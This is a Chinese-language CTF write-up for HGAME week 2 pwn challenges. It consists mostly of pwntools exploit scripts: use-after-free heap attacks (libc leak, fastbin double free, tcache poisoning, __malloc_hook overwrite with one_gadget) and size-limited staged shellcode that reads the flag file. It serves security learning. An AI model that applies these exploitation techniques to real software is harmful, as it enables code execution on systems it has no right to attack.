Hgameweek2wp-dbgbgtf

这次除了 shellcodemaster 那题，其他几题的堆题考点都是 uaf。指针都没有置零。

Fastnote 那题拿 libc 是直接申请一个 0x80 的堆释放后在 unsortedbin，利用 show 功能把 unsortedbin 里面的 libc 写出来获得基址

拿 shell 我利用了 fastbin 的 doublefree，但是因为 fastbin 申请时要检查 size，所以任意写给 mallochook-0x23 的位置去用 onegadget

```
for i in range(0,9,1):
    add(i,0x80,b'aaaa')
for i in range(0,8,1):
    free(i)
show(7)

libc_base = u64(io.recv(0x6).ljust(0x8,b'\x00')) - 0x1CABE0
print(hex(libc_base))
system = libc_base + 0x30290
__malloc_hook = libc_base + 0x1cab70
__free_hook = libc_base + 0x1cce48
ogg1 = libc_base + 0xe3afe - 0x22000
ogg2 = libc_base + 0xe3b01 - 0x22000
ogg3 = libc_base + 0xe3b04 - 0x22000

for i in range(0,9,1):
    add(i,0x68,b'aaaa')
for i in range(0,9,1):
    free(i)
#fastbin:8-7
free(7)
#fastbin:7-8-7

for i in range(0,7,1):
    add(i,0x68,b'aaaa')

add(9,0x68,p64(__malloc_hook))
add(9,0x68,p64(1))
```

```
add(9,0x68,p64(1))
add(9,0x68,p64(ogg2))
io.sendlineafter(b'choice:',b'1')
io.sendlineafter(b'Index: ',str(10))
io.sendlineafter(b'Size',str(0x68))

io.interactive()
```

Eldenring 那题拿 libc 时为了绕开 tcachebin，先申请九个 0x80 大小的 chunk，再连续释放七个填满了 tcachebin，剩下一个进 unsortedbin，并且释放时还留了一个不释放，防止 unsortedbin 被 topchunk 合并。同样的利用其指针不置零给 unsortedbin 里面的 libc 址写出来。

拿 shell 时直接改刚才在 tcachebin 里面的 fd 指针，因为 tcachebin 申请时检查不到位，所以直接改为指向 mallochook 就行，然后写上 onegadegt。之后再申请一个堆就行。

```
def add(index,size):
    io.sendlineafter(b'>',b'1')
    io.sendlineafter(b'Index: ',str(index))
    io.sendlineafter(b'Size: ',str(size))
def free(index):
    io.sendlineafter(b'>',b'2')
    io.sendlineafter(b'Index: ',str(index))
def edit(index,content):
    io.sendlineafter(b'>',b'3')
    io.sendlineafter(b'Index: ',str(index))
    io.sendafter(b'Content: ',content)
def show(index):
    io.sendlineafter(b'>',b'4')
    io.sendlineafter(b'Index: ',str(index))
for i in range(0,0x9,1):
    add(i,0x80)
for i in range(0,0x8,1):
    free(i)
show(7)
```

```
libc_base = u64(io.recv(0x6).ljust(0x8,b'\x00')) - 0x1CABE0
print(hex(libc_base))
system = libc_base + 0x30290
__malloc_hook = libc_base + 0x1CAB70
__free_hook = libc_base + 0x1CCE48
free_got = 0x404018
ogg1 = libc_base + 0xe3afe - 0x22000
ogg2 = libc_base + 0xe3b01 - 0x22000
ogg3 = libc_base + 0xe3b04 - 0x22000

edit(6,p64(__malloc_hook))
add(9,0x80)
add(10,0x80)
edit(10,p64(ogg2))
pause()
add(11,0x80)
io.interactive()
```

Old'fastnote 主要麻烦在不能单独编辑，所以想编辑的时候先 free 再 add 一个其他堆并且往里面写东西就行。

```
def free(index):
    io.sendlineafter(b'choice:',b'3')
    io.sendlineafter(b'Index: ',str(index))
def add(index,size,content):
    io.sendlineafter(b'choice:',b'1')
    io.sendlineafter(b'Index: ',str(index))
    io.sendlineafter(b'Size',str(size))
    io.sendafter(b'Content',content)
def show(index):
    io.sendlineafter(b'choice:',b'2')
    io.sendlineafter(b'Index: ',str(index))

add(0,0x80,b'aaaa')
add(1,0x68,b'bbbb')
add(2,0x68,b'cccc')
free(0)
show(0)

libc_base = u64(io.recv(0x6).ljust(0x8,b'\x00')) - 0x3C4B78
print(hex(libc_base))
system = libc_base + 0x453A0
```

```
__malloc_hook = libc_base + 0x3c4b10 - 0x23
ogg1 = libc_base + 0x4527a
ogg2 = libc_base + 0xf03a4
ogg3 = libc_base + 0xf1247

free(1)
free(2)
free(1)
add(2,0x68,p64(__malloc_hook))
add(3,0x68,b'dddd')
add(4,0x68,p64(1))
add(4,0x68,cyclic(0x13) + p64(ogg3))
io.sendlineafter(b'choice:',b'1')
io.sendlineafter(b'Index: ',str(5))
io.sendlineafter(b'Size',str(20))
io.interactive()
```

Shellcodemaster 这题我刚开始一直想着往回走重新来几次，后来确实发现不好弄,所以就只能尝试在0x16个字节里面mprotect加read，前面两次read字节数不够,只能铺垫一下,最后才可以正式开始ROP。

```
payload = asm(
'''
mov edi,r15d#3
mov dx,0xf#4
mov ax,0xa#4
syscall#2
#13
xor eax,eax#2
mov esi,ecx#2
xor edi,edi#2
#19
syscall
'''
)
io.send(payload)
pause()
payload = asm('''
xor eax,eax#2
mov esi,ecx#2
xor edi,edi#2
```

```
xor edi,edi#2
xor eax,eax#2
mov dx,cx#3
syscall#2
''')
io.send(payload)
pause()
payload = asm("""
xor eax,eax#2
mov esi,ecx#2
xor edi,edi#2
xor edi,edi#2
xor eax,eax#2
mov dx,cx#3
syscall#2

mov eax,0
mov esi,0x404080
xor edi,edi
mov edx,0x30
syscall

mov eax,2
mov edi,0x404080
xor esi,esi
xor edx,edx

syscall

mov eax,0
mov esi,0x404080
mov edi,3
mov edx,0x30
syscall

mov eax,1
mov esi,0x404080
mov edi,1
mov edx,0x30
syscall
""")
io.send(payload)
pause()
io.send(b'flag\x00')
```

io.interactive()